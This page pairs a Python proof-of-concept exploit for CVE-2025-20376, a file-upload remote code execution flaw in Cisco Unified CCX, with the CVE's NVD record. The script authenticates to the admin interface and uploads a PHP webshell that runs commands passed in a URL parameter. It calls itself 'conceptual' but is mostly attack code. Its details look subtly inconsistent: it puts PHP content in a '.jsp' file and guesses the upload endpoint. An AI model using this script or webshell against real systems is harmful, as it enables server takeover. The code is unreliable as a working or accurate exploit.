CVE-2025-20376

#!/usr/bin/env python3 """ CVE-2025-20376 PoC - Cisco Unified CCX File Upload RCE Note: This is a conceptual PoC for educational and security research purposes only. """ import requests import sys import base64 # Target configuration TARGET_IP = "<target_ip>" USERNAME = "<admin_username>" PASSWORD = "<admin_password>" TARGET_URL = f"https://{TARGET_IP}/ccx-admin" def create_malicious_file(): """Generate malicious file payload""" # Example webshell content (for demonstration) webshell = "<?php system($_GET['cmd']); ?>" return webshell def authenticate(): """Authenticate with Cisco Unified CCX admin interface""" session = requests.Session() login_url = f"{TARGET_URL}/j_spring_security_check" login_data = { 'j_username': USERNAME, 'j_password': PASSWORD } try: response = session.post(login_url, data=login_data, verify=False, timeout=30) if response.status_code == 200 and 'login' not in response.url.lower(): return session except requests.exceptions.RequestException as e: print(f"[-] Authentication failed: {e}") return None def upload_malicious_file(session): """Upload malicious file via vulnerable endpoint""" upload_url = f"{TARGET_URL}/fileupload" files = { 'file': ('exploit.jsp', create_malicious_file(), 'application/octet-stream') } try: response = session.post(upload_url, files=files, verify=False, timeout=30) if response.status_code == 200: print("[+] File uploaded successfully") return True except requests.exceptions.RequestException as e: print(f"[-] File upload failed: {e}") return False def main(): print("[*] CVE-2025-20376 - Cisco Unified CCX File Upload RCE") print("[*] Use only in authorized testing environments") session = authenticate() if session: print("[+] Authentication successful") if upload_malicious_file(session): print("[+] Exploitation successful - Check for RCE") else: print("[-] Failed to authenticate") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-20376", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:38.953", "lastModified": "2025-11-17T19:39:35.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web UI of Cisco Unified CCX could allow an authenticated, remote attacker to upload and execute arbitrary files.\r\n\r\nThis vulnerability is due to an insufficient input validation associated to file upload mechanisms. An attacker could exploit this vulnerability by uploading a malicious file to the web UI and executing it. A successful exploit could allow the attacker to execute arbitrary commands on the underlying system and elevate privileges to root. To exploit this vulnerability, the attacker must have valid administrative credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.5\\(1\\)_su03_es07", "matchCriteriaId": "6EF18C21-6E70-4748-99FA-884754F44D1A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "124C88AE-ED0C-4CBC-A84D-200EDB776C8C"}]}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cc-mult-vuln-gK4TFXSn", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}